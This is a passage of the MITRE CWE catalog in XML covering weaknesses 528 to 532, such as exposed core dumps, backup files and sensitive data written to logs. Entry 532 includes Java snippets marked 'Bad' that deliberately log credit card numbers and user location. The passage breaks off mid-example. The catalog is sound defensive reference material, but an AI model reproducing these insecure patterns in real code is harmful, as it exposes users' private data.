               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">Information Leak Through CVS Repository</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Exposure of CVS Repository to an Unauthorized Control Sphere</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="528" Name="Exposure of Core Dump File to an Unauthorized Control Sphere" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Protect the core dump files from unauthorized access.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM06-C</Entry_ID>
               <Entry_Name>Ensure that sensitive data is not written out to disk</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">Information Leak Through Core Dump Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="529" Name="Exposure of Access Control List Files to an Unauthorized Control Sphere" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.</Description>
         <Extended_Description>Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Protect access control list files.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">Information Leak Through Access Control List Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="53" Name="Path Equivalence: '\multiple\\internal\backslash'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="165" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>\multiple\\internal\backslash</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Internal Backslash - \multiple\\internal\backslash</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="530" Name="Exposure of Backup File to an Unauthorized Control Sphere" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>A backup file is stored in a directory or archive that is made accessible to unauthorized actors.</Description>
         <Extended_Description>Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Policy</Phase>
               <Description>Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">Information Leak Through Backup (.~bk) Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="531" Name="Inclusion of Sensitive Information in Test Code" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="540" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Testing</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Distribution</Phase>
               <Phase>Installation</Phase>
               <Description>Remove test code before deploying the application into production.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Test Code</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Test Code</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="532" Name="Insertion of Sensitive Information into Log File" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.</Description>
         <Extended_Description>
            <xhtml:p>While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.</xhtml:p>
            <xhtml:p>Different log files may be produced and stored for:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>Server log files (e.g. server.log).  This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.</xhtml:li>
               <xhtml:li>log files that are used for debugging</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="538" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Distribution</Phase>
               <Description>Remove debug log files before deploying the application into production.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Protect log files against unauthorized read/write.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Adjust configurations appropriately when software is transitioned from a debug state to production.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following code snippet, a user's full name and credit card number are written to a log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>logger.info("Username: " + usernme + ", CCN: " + ccn);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-120">
               <Intro_Text>This code stores location information about the current user:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>locationClient = new LocationClient(this, this, this);<xhtml:br/>locationClient.connect();<xhtml:br/>currentUser.setLocation(locationClient.getLastLocation());<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>catch (Exception e) {<xhtml:div style="margin-left:1em;">AlertDialog.Builder builder = new AlertDialog.Builder(this);<xhtml:br/>builder.setMessage("Sorry, this application has experienced an error.");<xhtml:br/>AlertDialog alert = builder.create();<xhtml:br/>alert.show();<xhtml:br/>Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-119">
               <Intro_Text>In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public BankAccount getUserBankAccount(String username, String accountNumber) {<xhtml:div style="margin-left:1em;">
